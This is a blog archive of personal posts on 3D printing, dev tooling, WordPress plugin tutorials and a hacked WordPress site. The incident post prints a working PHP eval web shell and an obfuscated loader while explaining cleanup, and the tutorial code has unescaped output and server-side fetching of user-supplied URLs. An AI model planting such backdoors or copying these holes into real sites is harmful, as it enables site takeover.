More printing and calibration

One thing I am certain of is that the Solidoodle is a home-brew 3D printer, and comes with all those problems. It is definitely well made, and it would be hard to beat the price for the quality it produces, but the difference in price seems to be primarily software support.

To run the Solidoodle, you need to use [Skeinforge](http://fabmetheus.crsndoo.com/wiki/index.php/Skeinforge] to turn 3D models into print files, then use a crude printer interface which is a set of Python scripts to make the printer work. Inside Skeinforge are several hundred settings which you can tweak to get better quality.

Admittedly, the Solidoodle comes with Skeinforge pre-calibrated, so you don’t need to tweak it to be able to print rudimentary things. However, printing with no calibration leaves many little “whiskers” of plastic, which are a result of plastic continuing to extrude when it pauses. For example, here is a Yoda head which was printed with default settings. If you click on the image, you can zoom in and see that there are many little hairs and bumps on the ear that are a result of the printer being calibrated incorrectly.

3D Printed Yoda head

I certainly do not want to disparage the Solidoodle company or the developers of the Skeinforge application: The Solidoodle printer is very good quality for the price, and the Skeinforge application is a very impressive application.

I bring these issues up to show how 3D printing is still in relative infancy. There are not well-developed interfaces to make printing easy. There are not well-developed algorithms to make calibration easy. There are not well-developed work flow methods–to print an object, you must open Skeinforge (a difficult interface) and figure out how to compile your model to “GCode”, and then you must open the print program (another difficult interface) and figure out how to start it printing.

With all that said, I would like also to point out the feeling of awe that I got when printing.

Watching an empty printer bed be filled with a thing like the Yoda head was incredible to watch and, even despite the frustrations of dealing with early-stage software, it was well worth the time and cost.

3D Printer

3D Printer

Saturday, a few days ago, I finally received the long-awaited Solidoodle 3D printer in the mail. The box was well packed, with sufficient packing, and I was impressed with the solid feel of the build.

After setting it up and being frustrated with Windows, it turns out I need to do a better job at reading Solidoodle’s well written instructions.

I downloaded the archer figurine from the Pocket Tactics game, and set the printer to work. After a few tweaks to the heater temperature and the bed, this was produced:

An archer figurine made using the Solidoodle 3D printer.

An archer figurine made using the Solidoodle 3D printer.

There is some malforming of the plastic due to the feed temperature of the plastic being too high, but overall I am reasonably well impressed with the detail work.

3D Printing

A few days ago I received a Solidoodle 3D printer, I am using it with my brother for prototyping a project we hope to bring to market later this year. Here are some unboxing pictures.

I got it in the mail like this:

Solidoodle Printer, in box

It was well secured in the package, and well packed with bubble wrap:

Solidoodle printer, unboxed

The printer is a basic angle-iron frame. It looks very utilitarian, definitely not a polished product but very solid feeling:

Solidoodle printer, unwrapped

A close up of the extruder head:

Solidoodle printer, head close-up

Tech Talk: Dev Environment

Tech Talk, with Toby:

The most frustrating times spent programming have been almost entirely when I have been trying to setup the dev environment.

For example, a very cool tool in Java development is JRebel. It handles continuous deployment, so as soon as you modify any class it will be repackaged. This saves an enormous amount of time, since you don’t have to rebuild an entire package to see instantaneous changes. But JRebel requires setup to make it work, and that setup has not been automatized, so when I try to get it running, it breaks in ways that I do not understand.

Another tool we use for packaging is Ant, which is very promising because you create simple XML files to configure setup details, and then you simply run “ant build” or a few other possible commands and it will compile and deploy the entire package. Very cool.

The problem occurs when you try to use these very handy tools, but don’t have a good understanding of them, and don’t have a good understanding of the companies entire directory structure. If I want to start JRebel within Eclipes, a pretty good Java IDE, how do I do it? It looks like I have to add a “Run Configuration”, but then Eclipse says I need a main instance, and within this one code base there are dozens of packages, none of which have an obvious main method to catch.

Answering all these questions means two things: 1) I end up spending valuable hours figuring out debugging configuration issues, instead of spending those hours debugging the company software. In other words, it costs the company real dollars by loss of my productivity. 2) Because I end up resorting to bugging my coworkers for help, they not only waste valuable hours themselves in time spent helping me, but also waste valuable time by switching between tasks.

With all these costs coming out of lack of automation, surely there must be costs associated with automating everything?

I don’t see it that way, and in fact the classic Joel Test hints at this idea in question two: “Can you make a build in one step?”

I’m going to extend that a bit, and phrase a new question this way: “Can you setup an entire developers platform in one step?”

For example, you could use git/svn to download the codebase, and then run something like “setup_dev_environment.sh”, which would automatically install all applications to set folders, configure PATH/EXPORT locations, etc. From this point, you should be able to continue on with Joel’s “build in one step”. In fact, you could have a source-controlled script that does all these things.

Doing so means that every new developer added can pick up the pieces much faster, and not spend costly hours debugging software versions and folder locations.

How many hours per week do you spend on environment setup issues? How can you better automatize that setup? What tools would you need? Do they exist, or do they need to be made?

Hacked Server

Over the weekend I was informed by a friend that a site I maintain (not mine personally) was showing up in the Google results as being “malicious”. After many hours of research, I present to you the following story. I’m writing things down as I fix them, so I’m still not sure where this will end.


After hearing this news, I Googled the site’s name (it is distinctive, but shall remain nameless) and found that it indeed had been flagged by the Googlebot as having been hacked.

Short backstory: Recently the owners of the site had undergone some serious flack from a nameless crowd, and had been flagged by this nameless crowd on the Web Of Trust (WOT), a site that warns you of unsafe websites. The WOT is really good idea, but this nameless group flagged it not because it was unsafe, but in retaliation. Because of this, I initially thought that the warning from Google had set off their alarms, so I didn’t take it too seriously.

But throughout the day I had a nagging feeling, that not all was right with the world, and so I found myself signing up for something that (now that I’ve used it) I think everyone who ever runs a website should be required to use: Google Webmasters.

Let me take a minute to tell you why you should be using this awesome tool. First, it will give you the actual HTML output that Google sees. As I found out later, the hacked website was only displaying spam to the Googlebot, so I never found it in my other searches. The other reason you should use this tool is because it will check the status of your installed things (WordPress, etc.) and tell you when you need to update them. This is incredibly convenient.

Anyway, after I setup the site with Google Webmasters, I found out that the site was spewing out things that look like this (of course I renamed the links):

downing <a href="http://site.com">prescription tramadol without</a> venlafaxine <a href="http://site.com">penegra generic</a>

I’m being a little obfuscated with the sites contents, but suffice to say that this is absolutely not the appropriate content for this site, and at that point I had to deal with the fact that the server had been compromised.

The Plan

Typically, evidence of a WordPress install is found by searching for the two PHP functions: base64_decode, or eval. So my initial plan was to search the server for instances of either of those functions:

grep -H -r -i 'base64_decode' ~/sitename.com
grep -H -r -i 'eval' ~/sitename.com

-H will print the filename instead of the entire line of text where it found the match
-r will search recursively
-i will ignore case, since PHP ignores it we need to do so to have a thorough search

Doing so brought up quite a few base64_decode calls, and many false positives for eval but all of them legitimate. Working with the command line over SSH was difficult, so I tarred the entire site’s contents, minus a copious amount of PDF and MP3 files:

tar cvzf backup.tgz ~/sitename.com

Now I have the files in hand, I can very quickly scan through the files and see if anything catches my eye, and the very first thing I noticed is the file named wp_info.php

WordPress has a very particular naming scheme with all their files, and it looks like this: word-word.php So an underscore looks a little suspicious, and opening it I find this magical number:

<?eval(stripslashes(array_pop($_POST)))?>

That command right there will essentially run anything that is thrown at it by a POST request. Wow, this is nuts. Also, I don’t know why I didn’t see it in the grep earlier, but there was probably just too much noise to notice it.

That right there is the likely entry point after the hack, but I want to see if I can find anything else, so I press on. Even though I am pretty familiar with the WordPress structure, I downloaded a fresh WordPress install to compare. After browsing around a bit, I found a file in the wp-content/uploads folder named .cache_tofu.php that I did not recognize, and on inspection I found the following at the end of it:

<preg_replace("/.*/e","x65x76x61x6c ... x3b",".");?>

I removed about 24,400 characters from the actual thing. I’m not familiar with the preg_replace function, but the PHP docs say it is basically preg_replace(pattern,replacement,subject) so the code above will interpret to just the middle part "x65x76x61x6c ... x3b"

But if you’ll notice, quite a few characters in that set look like x## which is the PHP way of noting characters in extended unicode, so all you need to do is figure out a way to convert those to normal ASCII and you can read them.

<sarcasm>Thankfully</sarcasm>, PHP plays loose with the encoding, so we can simply turn it to a string and it will print out. But because PHP plays loose, you can’t do something as simple as echo "x65x76x61x6c ... x3b"; because it will actually evaluate whatever is there, assuming it’s an eval statement, which is an obvious assumption at this point. So here’s what you do:

$myFile = "testFile.txt";
$fh = fopen($myFile, 'w') or die("can't open file");
$stringData = "x65x76 ... x20x3b";
fwrite($fh, $stringData);
fclose($fh);

With that, I finally got what I was looking for: eval(gzinflate(base64_decode('5b19fxq30jD8... which is the standard hack. And now we can unpack the base64 code to see what magic lies beneath. Again, it probably has some eval in it, so just write it to the text file. Because it uses gzinflate we need to do it this way in our above code: $stringData = gzinflate(base64_decode('5b19f... With that, I get a code that is just over 1,500 lines long: pastebin or hastebin.

It’s interesting to note that, even within this code, there are…

My jaw just hit the floor.

Remember, I am writing this as I read it. I just saw this: http://hastebin.com/jekatesegu.dos

I think I need some alcohol to calm my nerves, just a minute…


Alcohol acquired, still a little shook up, going to press on and hope for the best.

So where was I? Oh, right. It is interesting to note that, even within this code, there are things encoded to base64. I’m going to extract them and see what they say. It looks like they are Perl scripts, here is one which was labeled back_connect_p: pastebin And here is another which was labeled bind_port_p: pastebin

Okay, so this is obviously bad, and in more ways than one: 1) have to look around for more bad files, 2) based on the script, it would be safe to assume every password associated with this account (servers, etc.) should be changed, 3) still don’t know how this got run.

Let’s start on the last thing first. So we have this absolutely soul crushing code (did you read it yet? did you understand it?) but we don’t know how it’s run. Looking at the code, I realized that to run it, all you’d have to do is access it. It’s located in the WordPress uploads folder, so we can simply navigate to it at site.com/wp-content/uploads/the_nameless_file.php (hidden the name for now) and we get this:

Hmmmm. The alcohol is setting in a bit now, and I am starting to feel less like the world will end, so I am curious what is behind the password? Looking through the code I find that all it takes is this: if(md5($_POST['pass']) == 'dcc2630fea8d91fbc38ee0acc48001a6') but an md5 lookup is not trivial for me, so I boot up the old virtual computer and run the code directly. Here is the screenshot:

This is terrible.

So here is what we have so far: There is a script on this site that lets a person pretty much do what they want. The question remains, how did the script get there in the first place?

Of course, since I don’t run the site I am not sure what plugins were installed before, but I am reasonably certain that the people who own the site wouldn’t install a plugin that didn’t come from the WordPress site. This limits the possible entry points quite a bit.

One weak point in the WP framework shows up if someone changes the folder permissions of one of the folders. This is addressed quite well in this article. But nobody except myself has SSH access, and only one person has FTP access. I’ll ask him, but he seems reasonably smart so he probably wouldn’t make the permissions crazy.

In fact, I can check whether a file is executable or not using ls -ls and it looks like it is not executable. Furthermore, the file itself was last modified in May this year (2012), although I don’t know how long it’s been since it was executed. The site is hosted on a shared server space, which could even be the problem.


At this point I am trying to think of solutions. Since all that’s run on this server is the WordPress install, I can essentially just reinstall the site and verify that nothing is in the database. The uploads folder can be copied over after I check it. Being intimately familiar with WordPress I’ve coached a few people through this process, and even had to run through it once myself, so I know that it’s not too difficult.

Still, the annoyance is huge. And I still don’t know what caused the security breach that allowed that terrible code to get installed.

For tonight I think I have the server locked down enough that I can leave it, but I think I’ll probably reinstall WordPress, it’s a pretty fast experience.

Here’s another lesson: You should also look for the eval function in Unicode, which looks like x65x76x61x6c

That’s it for now. Leave me your comments, I guess.

WordPress plugins

In the course of my work with WordPress, I’ve created quite a number of plugins to test and demonstrate particularly interesting things. In the past I tried to post them here on this blog, but it is rather time consuming to copy/paste into WordPress, make sure all the editing is correct, and upload the files. Right now I’m trying to wrap up several projects that I started during school, and start a few other projects that I feel will be very productive, so I don’t really have time to do this anymore.

However, if you are interested in the WordPress related plugins I design, you can now check them out on Github! I’ll put each of the plugins under the naming convention “tlwp_” (Tobias Labs, WordPress) followed by the name of the plugin, which will be reasonably descriptive. I’ll put in heavier-than-normal code comments, and hopefully you can figure things out well enough that way.

I think that I will also post a link and short (think Twitter-sized) post whenever I add a new plugin, so you can comment under that post if things aren’t clear enough in the code, or if you have other related questions. You can also make pull requests etc. if you find errors in my code! Have a look at the first example, which is a custom post plugin, with custom permalink schema and custom icons included: https://github.com/saibotsivad/tlwp_custom_post

You’ll also notice the Sermon Posts plugin is residing there: https://github.com/saibotsivad/sermon_posts That project is coming along, now that school is over. At the rate of progress I am making, I hope to have a completed plugin within a month from now. I cut the importing functionality completely from the code, and I’ll make a separate plugin that will handle that, this will make long-term maintenance easier.

 

Understanding AJAX requests

Have you ever written a post, started to type in a tag, and saw this sort of interface reaction:

As you start to type in a tag, you’ll see an auto-type show up. How does this work? One way is to pre-load the list within the DOM (either within the HTML or the JavaScript) and reference that list, but a cooler way, and a much more extensible way, is to use AJAX calls. Thankfully, WordPress supports them without much trouble!

Recently I needed to add functionality to take a given URL to an Amazon product, and retrieve the ASIN (Amazon unique ID) to store as information related to the post. Todays post shows one method to do this, using the AJAX callback.

You can download the complete code here.

The example is relatively simple, and my preferred method is to put things inside a PHP class, so let’s have a look at the first part:

Hook actions:

$TL_AmazonURL = new TL_AmazonURL;
class TL_AmazonURL
{
	var $meta_key = 'amazonkey';
	function __construct()
	{
		add_action( 'add_meta_boxes', array( $this, 'MetaBoxSetup' ) );
		add_action( 'save_post', array( $this, 'SavePostMeta' ) );
		add_action( 'admin_head', array( $this, 'AdminHead' ) );
		add_action('wp_ajax_tl_amazonurl_ajax', array( $this, 'AjaxCallback' ) );
	}

If you aren’t familiar with PHP classes within WordPress, just think of them this way: hook all the filters and actions inside the __construct() function, then you need to reference the functions for those hooks with an array referencing the class, $this, and the function FunctionName.

For this example, we’ll store the ASIN as a post meta field, and put the interface in a metabox on the post view (more later), so we configure a metabox with add_action( 'add_meta_boxes', array( $this, 'MetaBoxSetup' ) );

When we add the ASIN, we’ll put it in the post meta, therefore we want to verify the ASIN when the post is saved, so we register a function to run whenever a post is saved with add_action( 'save_post', array( $this, 'SavePostMeta' ) );

The AJAX requests require some custom JavaScript, so we’ll need to enqueue some script (and CSS!), but only in the admin page loads, so we use add_action( 'admin_head', array( $this, 'AdminHead' ) );

Finally, AJAX requests are handled with specially registered AJAX callbacks that require the action wp_ajax_ followed by your custom AJAX callback name, which needs to be distinct. In this example, our callback name is tl_amazonurl_ajax so we use add_action('wp_ajax_tl_amazonurl_ajax', array( $this, 'AjaxCallback' ) );

Add Meta box:

Registering the metabox is as simple as calling add_meta_box:

	function MetaBoxSetup()
	{
		add_meta_box(
			'tl_amazonurl',
			__( 'Amazon ASIN', 'tl_amazonurl_metaboxtitle' ),
			array( $this, 'MetaBox' ),
			'post',
			'side',
			'high'
		);
	}

Pick a unique label, it’s part of the HTML for the meta box: tl_amazonurl

The title of the meta box, but thinking internationally we’ll wrap it in the handy translational function __(); which we won’t take advantage of here, but it lets me point out lesser-known Best Practice: __( 'Amazon ASIN', 'tl_amazonurl_metaboxtitle' )

The function name, and metabox position are the remaining elements of the array. The final metabox, with no content, looks something like this:

Meta box contents:

There are two parts to the meta box contents, the HTML, and the CSS/JavaScript which we’ll include in the admin-head function. The HTML looks like:

function MetaBox()
	{
		global $post;
		$asin = get_post_meta( $post->ID, $this->meta_key );
		$asin = ( $asin ? $asin[0] : "" );
		$nonce = wp_create_nonce( 'tl_amazonurl_nonce' );
		?>
        <div id="tl_amazonurl_div">
            <p>Paste in the URL from Amazon:</p>
            <input type="hidden" name="tl_amazonurl_checked" value="" />
            <input type="hidden" name="tl_amazonurl_nonce" value="<?php echo $nonce; ?>" />
            <input type="text" id="tl_amazonurl_link" name="tl_amazonurl_link" value="<?php echo $asin; ?>" /><br />
            <span id="tl_amazonurl_return"></span>
            <input type="button" id="tl_amazonurl_check" name="tl_amazonurl_check" value="Check URL" />
        </div>
        <?php
    }

The first few lines are the most important. We first look for the post meta by the defined key, using $this->meta_key, and for security we generate a nonce (read up on them!) with the name tl_amazonurl_nonce

The other important thing to notice is that there isn’t any actual HTML form here. Instead, we’ll call some JavaScript onClick to watch the tl_amazonurl_check button, and grab what’s inside the input with the ID tl_amazonurl_link

The CSS and JavaScript is inside the AdminHead function, like this:

	function AdminHead()
	{
		?>

		input#tl_amazonurl_link {
			width: 100%;
		}
		div#tl_amazonurl_div {
			text-align: right;
		}
		div#tl_amazonurl_div p {
			text-align: left;
		}
		input#tl_amazonurl_check {
			margin-top: 8px;
		}
		span#tl_amazonurl_return {
			float: left;
			height: 32px;
			margin-top: 6px;
			margin-left: 4px;
			padding-top: 6px;
			padding-left: 32px;
		}
		span#tl_amazonurl_return.success {
			background: url('') top left no-repeat;
		}
		span#tl_amazonurl_return.failure {
			background: url('') top left no-repeat;
		}

		jQuery(document).ready( function($) {
			$('#tl_amazonurl_check').click( function () {
				$('#tl_amazonurl_return').text('Checking...');
				$("#tl_amazonurl_return").removeClass("failure");
				$("#tl_amazonurl_return").removeClass("success");
				var data = {
					action: 'tl_amazonurl_ajax',
					amazonurl: $("#tl_amazonurl_link").val()
				};
				$.post(ajaxurl, data, function(response) {
					if ( response == 'fail' ) {
						$('#tl_amazonurl_link').val('');
						$('#tl_amazonurl_return').text('Invalid URL!');
						$("#tl_amazonurl_return").removeClass("success").addClass("failure");
					} else {
						$('#tl_amazonurl_link').val(response);
						$('#tl_amazonurl_return').text('Success!');
						$("#tl_amazonurl_return").removeClass("failure").addClass("success");
					}
				});
			});
		});

		<?php
	}

The CSS is, I hope, mostly straightforward. If the AJAX call returns success we will use a green check-mark to give the user visual feedback, and a red x-mark if it fails. The rest of the CSS is small styling bits.

The real magic is in the JavaScript. Any WordPress page in the wp-admin area already queues up jQuery, so we can use that to do what we want, which is:

When you click the button to verify a URL in the text input box, we let the user know the computer is thinking by adding text to the span $('#tl_amazonurl_return').text('Checking...'); and we remove the CSS class that defines the green or red visual response using the jQuery removeClass.

The stuff we pass into the AJAX call is JSON data, which contains the action name, tl_amazonurl_ajax (Note! This is what decides which AJAX callback function to run, from the add_action('wp_ajax_tl_amazonurl_ajax'... very early on!) and the data, which is what was in the input box.

If the response is fail we’ll add the red x-mark and tell the user “Invalid URL!”. Otherwise, we’ll print the ASIN and give the green check mark to indicate success. (Check and x marks are done via CSS.)

The AJAX callback function:

There’s not much here:

	function AjaxCallback()
	{
		$key = $this->ValidateASIN( $_POST['amazonurl'] );
		if ( $key ) echo $key;
		else echo 'fail';
		die();
	}

We pass the Amazon URL into another function (that way we can use the same validation inside the save_post action) which will either give us the ASIN or fail, then we either echo out the ASIN or a failure message.

Note! You must use die(); at the end of the callback function! At this point, the headers have been sent, the text you made (the ASIN or “fail”) are output, and you need to end the rest of any WordPress code from running!

So, given an Amazon URL that looks like this, you’d get back the ASIN, which would look like this: B004HZYA6E

Saving the ASIN to the post

When we save the post meta field, it’ll look something like this:

	function SavePostMeta()
	{
		if ( current_user_can( 'edit_posts' ) && isset( $_POST['tl_amazonurl_nonce'] ) && wp_verify_nonce( $_POST['tl_amazonurl_nonce'], 'tl_amazonurl_nonce' ) )
		{
			global $post;
			// if the amazon url field is set, we'll check it
			if ( isset( $_POST['tl_amazonurl_link'] ) && $_POST['tl_amazonurl_link'] != '' )
			{
				// we'll double check the link, based on it's size
				if ( strlen( $_POST['tl_amazonurl_link'] ) >= 22 )
				{
					$key = $this->ValidateASIN( $_POST['tl_amazonurl_link'] );
					if ( $key )
					{
						update_post_meta( $post->ID, $this->meta_key, $key );
					}
					else $error = "The ASIN failed to validate with Amazon, please try again.";
				}
				else
				{
					$url = "http://www.amazon.com/dp/" . $_POST['tl_amazonurl_link'];
					$key = $this->ValidateASIN( $url );
					if ( $key )
					{
						update_post_meta( $post->ID, $this->meta_key, $key );
					}
					else $error = "The link failed to validate with Amazon. Please try copying and pasting again.";
				}
			}
			// if no asin was included, we'll delete the post meta (delete returns false if meta key not found, in this case it's okay)
			else
			{
				delete_post_meta( $post->ID, $this->meta_key );
			}
		}
		// if security checks fail, generate an error message
		else
		{
			$error = "You don't have permission to edit this field.";
		}

	}

The first line is a security check, using the WordPress nonce feature. If there is text inside the ASIN input box, we really should re-check it, in case the user modified it but didn’t click the button.

The Amazon API specifies that the ASIN will be 22 or less characters, so we’ll skip any potentially complicated logic and assume that strings shorter than 23 characters are in the final ASIN form already, and if they are longer we’ll assume they are proper URLs.

If there’s no text, we’ll clean things up by deleting the post meta field entirely. (As opposed to just removing the text, we want to remove the text and key entirely.)

(Note also that the error variables aren’t actually used anywhere, I just put them there to make it more clear to you what the error was.)

Validating the Amazon URL/ASIN

When I was trying to solve this problem, I read many solutions that used regex to try disassembling the URL, either by counting characters between /s, or some other method. All of these will fail, due to Amazon changing their URL scheme, so I wanted a better solution. This one is not as fast as a regex, but is stronger.

First, after a little exploration, I found that Amazon pages all contain (in the HTML) the following line: <link rel=”canonical” href=”http://www.amazon.com/{product name}/dp/{ASIN} />

So, what we want to do is load the Amazon page given in the link, then extract the {ASIN} field:

	function ValidateASIN( $url )
	{

		// to easily retrieve the HTML element, we'll use the parser here: http://simplehtmldom.sourceforge.net/
		include( 'simple_html_dom.php' );

		// for some reason some servers won't work without an explicit "http://"
		$link = strpos( $url, "http://" );
		if ( $link === false ) $link = "http://".$url;
		else $link = $url;

		// you can go ahead and grab the HTML from the given URL
		$html = @file_get_html( $link );

		// if there was a failure to get the HTML, return false immediately
		if ( !$html ) return false;

		// now you need to grab this element from the HTML:
		//
		$element = $html->find('link[rel=canonical]');

		// if $html->find returns an array you have to go in and get it
		if ( $element )
		{
			// grab the url
			$element = $element[0];
			$element = $element->attr['href'];

			// split the url to get the code
			$pieces = explode( "/", $element );
			$key = $pieces[ count( $pieces ) - 1 ];

			// for the above example, the function returns this string: 0596102356
			return $key;
		}
		// the parser didn't find the element
		else
		{
			return false;
		}

	}

The way I am going to parse the HTML is using the very excellent Simple HTML DOM class. Note that you don’t need to use this class, but if you write your own HTML parser I will probably shun you forever.

Anyway, the rest is implementation of grabbing the ASIN from the HTML document. The only notable part is that it returns the ASIN key by itself, as text, which is important for the AjaxCallback function.

The end!

That’s really all there is to it! Here’s what the meta box should look like without anything in it:

Here’s what it looks like when I put in a URL and click the button, but before the server can respond (note the user feedback, so they can tell that it’s actually doing something):

Here’s what it looks like when the server responds with a success:

And here’s what a failure looks like:

Final thoughts:

The above code is incomplete, there are ways certain technically-correct URLs could fail, and there are better ways to give the user feedback, so be sure to think that stuff through before using this publicly.

However, the main takeaway is this: When you want an AJAX call (which can do anything!) you need to add an action for your custom named callback, so it looks of the form add_action('wp_ajax_CALLNAME' where your CALLNAME is a unique and custom name, referenced also in the AJAX call, which uses JSON data of the form { action: 'CALLNAME', KEY: VALUE } where the KEY and VALUE are any number of key/value paired, JSON-valid information.

Let me know in the comments if you have questions!

Plugin template

In anticipation of the official WordPress release of the Sermon Posts plugin (not until after school, which is early May), I decided to start a blog post series aimed at helping the junior WordPress plugin developer.

Most open source type projects have some sort of bug tracker system, but what I thought could be done is essentially walk through the project source code, examining the major chunks to see how they are built, and why they were built the way they were. I hope that by doing this I will both help the newcomers to WordPress, and also make my own plugin code much more transparent, which should be good for review/security.

Download this example’s entire source code here.

The first thing I should explain (the only thing this post discusses) is my preferred folder hierarchy for plugins. The folder structure is given below, but I’ll explain it in more detail in later posts:

Core Folders:

plugin_name/
plugin_name/include/
plugin_name/include/media
plugin_name/include/other
plugin_name/include/plugin

Core Files:

plugin_name/plugin_name.php
plugin_name/include/plugin/admin-core.php

The general idea is that the plugin should load as little as possible on each access, so for the typical client request all the code will be inside plugin_name/plugin_name.php, and for all administrative tasks the code will be located in plugin_name/include/plugin/admin-core.php. While this doesn’t actually make the PHP script run faster, it does separate the two code sources, and makes code maintenance easier later on.

Inside the core code, plugin_name/plugin_name.php, the following is written:

<?php
/*
Plugin Name: PluginTemplate
Plugin URI: http://tobiaslabs.com
Description: AsimpleTemplateForMakingPlugins
Author: Tobias Davis
Version: 0.1
Author URI: http://davistobias.com
*/

// Initialization loads as little as possible.
if ( is_admin() )
{
    require_once( 'include/plugin/admin-core.php' );
    $TL_PlugTemp = new TL_PluginTemplate_Admin;
}
else
{
    $TL_PlugTemp = new TL_PluginTemplate_Core;
}

// The core visitor-side functionality is held held here
class TL_PluginTemplate_Core
{

    // plugin information, for the admin side
    var $plugin_info = array();

    /**
     * @since 0.1
     * @author Tobias Davis
    */
    function __construct()
    {
        // set the plugin information, for activation and other options
        $this->plugin_info['plugin_location'] = __FILE__;

        // Initialization
        add_action( 'init', array( $this, 'Init' ) );
    }

    /**
     * @since 0.1
     * @author Tobias Davis
    */
    function Init()
    {
    }

}
?>

Let’s explain this line by line:

/*
Plugin Name: PluginTemplate
Plugin URI: http://tobiaslabs.com
Description: AsimpleTemplateForMakingPlugins
Author: Tobias Davis
Version: 0.1
Author URI: http://davistobias.com
*/

This is the minimal reasonable information to describe a plugin. If you don’t know this already, you should probably read this excellent Codex entry. Obviously, change your plugin name, URI, etcetera. I’ve been starting any sandbox plugin at version 0.1, to indicate that it is definitely not ready for prime-time.

Next you’ve got a bit of if->then logic, to load the admin code only if the viewer is on an admin page:

if ( is_admin() )
{
	require_once( 'include/plugin/admin-core.php' );
	$TL_PluginTemplate = new TL_PluginTemplate_Admin;
}
else
{
	$TL_PluginTemplate = new TL_PluginTemplate_Core;
}

You should change the name of PluginTemplate to reflect your plugin name. In my most recent plugin template file, I have consistent naming, so I can do a simple search+replace for TL_PluginTemplate to rename it to whatever I want. Other than that, it should be pretty straightforward: The function is_admin() tests whether the loaded page is one of the wp-admin pages. If it is, it loads the admin class (more on that later), otherwise it loads the smallest amount of code possible.

Next we have the core plugin class:

class TL_PluginTemplate_Core
{
	// plugin information, for the admin side
	var $plugin_info = array();

The variable $plugin_info is used to hold information about the plugin, mostly just the __FILE__ seen inside the __construct() function, which is the file name of the core plugin code. I’ve found that without this information, it becomes difficult to include other code within the admin code section described later in this post.

	/**
	 * @since 0.1
	 * @author Tobias Davis
	*/

One thing I picked up from fellow WordPress engineer, James Lafferty, and from reading through the core WordPress code, is the idea of noting when a function was made, along with other useful bits. This example is pretty bare, but you’ll see in later posts that properly constructed comments make documentation basically automatic. This reduces work load later, by making sure your code is correctly documented right away.

	function __construct()
	{
		// set the plugin information, for activation and other options
		$this->plugin_info['plugin_location'] = __FILE__;

If you aren’t familiar with constructors and destructors, check out the Wikipedia page on constructors, and the PHP specific page on them. Essentially, when you call $var = new ClassName; the __constructor() function is called first, so we can put critical items in the function, like:

		// Initialization
		add_action( 'init', array( $this, 'Init' ) );
	}

WordPress uses so-called “action“s to get script functions to trigger at the right time. The Codex is helpful, but Adams list of hooks is also very helpful. One thing that I eventually started doing, as I got more comfortable, was looking at the actual WordPress code. WordPress uses the same functions in the core that you will use in your plugin!

Since the plugin code is inside a PHP class, we need to pass the function name in as an array, array( $this, 'Init' ). The variable $this is essentially a PHP reserved variable which refers to the current class. You could probably also use array( $TL_PlugTemp, 'Init' ), or whatever you name your variable (it needs to be unique!), but typically you’ll be working within the plugin class, so you might as well use $this.

Finally, of course, we have the function called by add_action, and the end of the core class:

	/**
	 * @since 0.1
	 * @author Tobias Davis
	*/
	function Init()
	{
	}
}

Inside the Init() function you would put things like register_post_type and register_taxonomy, which I’ll describe in later posts.

Let’s move to the other core file, plugin_name/include/plugin/admin-core.php which looks like this:

<?php
// security
if ( !function_exists( 'is_admin' ) && !is_admin() ) die();

class TL_PluginTemplate_Admin extends TL_PluginTemplate_Core
{

	function __construct()
	{
		// additional security
		if ( get_parent_class($this) != 'TL_PluginTemplate_Core' ) die();
		// functions named the same need to call the parent class function
		parent::__construct();
		
		// activation/deactivation
		register_activation_hook( $this->plugin_info['plugin_location'], array( $this, 'Activation' ) );
		register_deactivation_hook( $this->plugin_info['plugin_location'], array( $this, 'Deactivation' ) );
		
		// admin actions
		add_action( 'admin_init', array( $this, 'AdminInit' ) );
	
	}
	
	function AdminInit()
	{
	}
	
	function Activation()
	{
	}
	
	function Deactivation()
	{
	}
	
}
?>

And let’s take this a chunk at a time, starting with the single line of security if ( !function_exists( 'is_admin' ) && !is_admin() ) die();. This first line makes sure none of the admin code can ever load from an errant PHP call, such as direct calls like http://www.site.com/wp-content/plugins/my_plugin/include/admin-core.php that might execute code if written poorly. Note that if I catch you not using other security measures, I’ll tan yer hide.

Anyway, moving on to the next line class TL_PluginTemplate_Admin extends TL_PluginTemplate_Core, note that this is similar to a normal PHP class declaration, but it uses “extends”. This is because we load the core class in the core file as well, and this one adds to its functionality. This is especially evident in the following:

	function __construct()
	{
		// additional security
		if ( get_parent_class($this) != 'TL_BibBlue_Core' ) die();
		// functions named the same need to call the parent class function
		parent::__construct();
		
		// activation/deactivation
		register_activation_hook( $this->plugin_info['plugin_location'], array( $this, 'Activation' ) );
		register_deactivation_hook( $this->plugin_info['plugin_location'], array( $this, 'Deactivation' ) );
		
		// admin actions
		add_action( 'admin_init', array( $this, 'AdminInit' ) );
	
	}

Note that the __construct() function appears in both the core and the admin class, but the admin class has the line parent::__construct(); which essentially runs the core __construct() function before running the admin __construct() function.

Additionally, the register_activation_hook function uses the $plugin_info variable instead of it’s own file name, which is the typical method. This is a technical issue, the plugin activation records the core file location, but the admin functionality is in a deeper file, so we reconcile them in this way. The same can be said for the register_deactivation_hook function. If this isn’t very clear, just use it for now, and hopefully later posts will clarify why this is necessary.

Finally, there is another add_action, which references a function only available for admin-side views, such as add_menu_page and add_options_page.

	function AdminInit()
	{
	}
	
	function Activation()
	{
	}
	
	function Deactivation()
	{
	}
	
}

That’s it for now!

Hopefully this sets the stage well for later posts, which I’ll use to describe things like registering custom posts, storing peculiar meta-data, and even adding database tables! All my plugins follow this same folder hierarchy, and later posts will add to it.

Next I’ll describe how to register a custom post.

All is not lost!

Wow, these last few days have been incredibly frustrating!

I’m wrapping up my final semester at the University, taking 21 credit hours, so I’m swamped. I came home late Thursday night, and went on one of my websites to look for a reference I had linked to. Suddenly my browser had 3 pop-up windows, all of them were grossly pornographic. Well, I don’t typically even include ads on my sites (not enough people to be worth it, even if I wanted to), and I definitely don’t use porn ads!

To shorten the already long story, my server had been compromised, and every PHP file was bad, so the most efficient way I could repair it was basically reinstalling everything. Ugh.

So, I hope I installed this site back the way it was, I hope especially that the RSS feed carried over correctly. Leave me a comment if you followed through an RSS feed to get here, it would give me comfort to know it still works.

In other news: obviously the Sermon Posts plugin has been on hold for some time, and that won’t change for a while, although (like I said) I did not abandon the project. This is my last semester at the University, Lord willing, and then I will have more time on my hands.

Thanks to the few of you who follow my progress :)